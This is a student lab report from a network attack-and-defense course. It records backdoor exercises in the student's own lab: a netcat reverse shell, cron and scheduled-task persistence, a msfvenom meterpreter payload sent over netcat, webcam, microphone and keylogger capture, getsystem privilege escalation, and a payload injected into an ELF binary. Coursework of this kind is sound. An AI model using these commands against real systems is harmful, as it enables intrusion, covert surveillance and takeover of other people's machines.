20232308 2025-2026-1 《网络与系统攻防技术》实验二实验报告

1.实验内容

1. 实验目标

(1)使用netcat获取主机操作Shell,cron启动某项任务
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

2. 实验问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:钓鱼邮件附带恶意附件,打开后,恶意程序会自动解压并植入后门
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:windows启动方式:
系统服务。将后门注册为系统服务,设置启动类型为“自动”
注册表启动项。添加后门程序路径,开机后自动执行
进程注入。通过DLL注入,将后门代码注入到正常系统进程
Linux启动方式:
定时任务。通过crontab -e添加定时规则,每分钟执行一次后门脚本
系统服务。将后门脚本放入/etc/init.d/目录,通过update-rc.d设置开机启动
(3)Meterpreter有哪些给你映像深刻的功能?
答:远程桌面与摄像头控制。支持vnc命令开启远程桌面,或通过webcam_snap/webcam_stream抓拍/实时监控目标摄像头,配合record_mic录制麦克风音频,实现全方位监控。
文件与网络操作。可直接在目标系统执行传输文件或开启网络嗅探
(4)如何发现自己有系统有没有被安装后门?
答:查看是否有异常进程,排查启动项与定时任务或者是分析系统日志

2.实验过程

1. 实验准备

关闭所有的防火墙以及防病毒的程序,确保后续实验可以顺利进行
259ac973a5526660324d9d3bb958c969

57209acb716bdb8a332f152d6e610e2a

查看主机和虚拟机ip
abdc30b46961a02c1cbe2cf7edcfca25
050fb0a9e6c1fcb1292d951c7c19c587

2. 使用netcat获取主机操作Shell,cron启动任务

2.1 使用netcat获取主机操作Shell
先在windows平台上下载netcat,下载教程为https://blog.csdn.net/muriyue6/article/details/107127217
在netcat的下载目录中,输入指令nc -l -p 8888,表示使用netcat软件监听本机8888端口,注意此时主机是攻击方
在虚拟机上,输入指令nc 192.168.43.198 8888 -e /bin/sh,表示对于指定的ip地址和端口,在连接后运行/bin/sh指令。
在主机终端输入一ls,返回虚拟机的文件信息,说明主机已经成功获取虚拟机操作Shell。
43be622239c14d085f54a56cdc86a4ad
7ab319e6438f075c14ad759af137fb61
2.2 cron启动任务
在虚拟机中以root用户打开命令行(注意此处一定要使用root用户,否则后期会一直有报错的情况),输入命令crontab -e来编辑当前用户的crontab文件,选择2:/usr/bin/vim.basic,输入45 * * * * /bin/netcat 192.168.43.198 8888
832e44287573a9251c2b26c8cab5d50a
使用指令crontab -l查看时程表,可以看到添加任务成功。
341acdd29f8d20b7eddcd1d779c1587d
查找/var/spool/cron/crontabs文件夹,可以看到新增了一个root文件。
e4aa720a8a4a6e96d596b2cb9d8bfd23
如果此处没有使用root用户来打开命令行,会出现无法打开文件的情况出现,如下图所示
e5e7fc012a89365fafd940cb880eaa7a
输入指令echo "* * * * * echo "20232308" > /home/kali/Desktop/20232308.txt" > /var/spool/cron/crontabs/root
输入crontab -l查看时程表,可以看到注入成功。
756b4d011a4ef1d5b9b30b66f71032c3
一分钟后可以看到桌面上出现20232308.txt,且内容为20232308
3551bce9792d8930ff67591a4122cabc

3. 使用socat获取主机操作Shell

3.1 在windows平台上下载socathttps://blog.csdn.net/gitblog_09722/article/details/142939083
在socat下载的目录下打开命令行,输入指令socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr表示创建一个在TCP端口8888监听上的服务器
0bf6e0d9b207ecec218a8a6b4120d415
在虚拟机上输入socat - tcp:192.168.43.198:8888成功进入到Windows主机命令行。
3.2 在主机上编写一段Shell,生成exe文件。
c0a7b92c9970f4d96f8eb210f934a668
4462b7cb8d8f0da47cc73959da2c63c6
3.3 切换到虚拟机中,输入指令schtasks /create /sc minute /mo 1 /tn "20232308hzy" /tr D:installsocat20232308\socat\test.exe表示的含义是创建一个名为 "20232308hzy" 的计划任务,该任务每分钟执行一次
c45bcddd5ee87a2442fcb873f6357f03
在主机中打开计算机管理,可以看到该任务,并且是每分钟运行一次,符合预期,表明攻击成功
1adcbf5bc1aca2cdb10cce3b853c8b38

4. 使用MSF meterpreter生成可执行文件并运行获取主机Shell

4.1 仍然以root用户打开命令行,输入指令msfvenom -p windows/meterpreter/reverse tcp LHoST=192.168.78.134 LPORT=8888 -f exe > backdoor20232308.exe
3bca7db337898c7d095f7515f5464c79
4.2 将后门文件传输至主机
在主机中进入netcat所在目录,输入指令nc -lv 8888 > "D:\backdoor20222408.exe"
9046b1054590db5e6fe4a7942c9b7b2b
在虚拟机中输入指令nc 192.168.43.198 8888 < backdoor20232308.exe表示将backdoor20232308.exe的文件内容发送到主机
2eb7236b4c2fc828fd40b37fa96421d3
4.3 配置监听
在虚拟机中输入指令msfconsole,打开Metasploit框架的主要控制台界面
164660b8d9ab074dca82b901fb152763
输入如下命令对监听模块进行配置:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.78.134
set LPORT 8888(设置监听数据流向的端口)
输入exploit,使监听模块开始运行。
d1e90a69df952514c56b7d1a262d93c4
返回主机,在backdoor20232308.exe目录下进入命令行开始运行程序
4c91fa8c7c87da0fa8c94324d4f41156
回到虚拟机,输入dir会显示已经连上了主机
6c1e6e10637d26ab5dd469885e269bc7
4.4 使用MSF meterpreter生成获取目标主机后门
4.4.1 获取目标主机音频、截屏、摄像头、击键记录
在exploit模块中输入以下指令:
record_mic(录音)
screenshot(截屏)
webcam_snap(拍摄)
keyscan_start(开始读取键盘记录)
(回到主机输入一段文字)
keyscan_dump(结束读取键盘记录)
a78ee89c2594cf253a32f534fcb1ad8c
image
可以在文件系统看到被保存的音频、截屏、拍摄记录
fdb62630310aae475509a80a8b549cf8
4.4.2 提权
使用管理员身份运行命令行,运行后门程序
用指令getuid得到初始用户名
用指令getsystem提升到系统权限,可以看到提权成功
7c7ee6cdadeeefd8244651ad819ff073

5. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

在虚拟机中输入指令msfvenom -p linux/x86/meterpreter/reverse tcp LHoST=192.168.78.134 LPORT=8888-x/home/kali/Desktop/pwn20232308-f elf>20232308pwn1表示创建一个Linux 32位平台上的反向TCP meterpreter payload,将其注入到指定的可执行文件(pwn)中,并将注入结果保存为一个ELF格式的文件
389ed910f6d8df85861d7b7ea480c435
使用指令sudo su来提升至管理员身份
chmod +x 需要提权的文件对生成的elf文件提高权限
输入msfconsole,再次进行监听配置
输入exploit开始监听
fc2270c585cca3cfcb867416d00c1692
6733ba99ec814367e241525ec5b9a405
在虚拟机打开新的终端,运行elf文件
7a41181a5e303ddc36247cddf49153e1
回到监听终端,输入ls,发现成功获取shell。
3c94d10ddefba2e71a0260fb2ea3476c

3.问题及解决方案

  • 问题1:将后门文件传至windows主机时出现报错8888端口无法使用,且传输到主机的文件为0kb
    1ac76282a674bfaeb37360aef1645770
    f0ff2009eaef4ad37870c652fe3461d9
    7290a5d43c8480a6fdabc48a6b04edf0

  • 问题1解决方案:通过询问ai以及学长学姐的实验报告,通过MobaXterm将文件传输到windows主机中

  • 问题2:配置监听模块时,在主机上运行backdoor20232308.exe文件后,报错如图所示
    aae2b4dbe56583af47f4ed8032400063

  • 问题2解决方案:通过学习毕同学发在群里的宝贵建议,更新 Metasploit 框架及其所有依赖项,确保它们与当前系统的 Ruby 版本兼容。运行成功后发现可以正常使用

  • 问题3:运行backdoor20232308.exe文件时报错
    e1c4f37bd9fbcb4cea877c2006a43d70

  • 问题3解决方案:通过查看系统日志发现系统防火墙未完全关闭,该进程被拦截,通过修改系统中允许的威胁,最终解决了问题
    bf124d126c78e07ee3dad6305b4cc15e

4.学习感悟、思考等

经过本次实验,我感触颇深,通过动手操作netcat、socat、MSF meterpreter等工具获取主机操作Shell的方法以及利用cron和任务计划等方式启动后门任务,我对于网络攻防有了更深刻的理解。
在实验过程中,感受到了后门程序的强大力量,攻击者可借助后门悄无声息地窃取系统中的敏感数据,不管是使用者照片还是使用者输入的内容。也感慨防火墙威力之大,就算在关闭了防火墙以及实时保护的情况下,想要植入一个后门程序都是很困难,要做好免杀工作,这也警示我在日常的生活中要时刻保持警惕意识,不随意下载陌生链接的文件,保护电脑免受后门文件的侵扰。除此之外本次实验还体会到了作为一名黑客的乐趣,尽管遇到了很多问题,不停的报错,不停的查找原因解决问题,但是当看到自己的照片以及自己电脑的各种信息,还是很有成就感的。
综上所述,本次实验还是让我受益匪浅,我不仅深刻认识到网络安全不是一种空谈,而是实实在在藏在每一次操作习惯里,更在实验过程中不断提高自己的综合能力,对这门技术有了更大的兴趣

参考资料

posted @ 2025-10-20 16:25  Otlier  阅读(8)  评论(0)    收藏  举报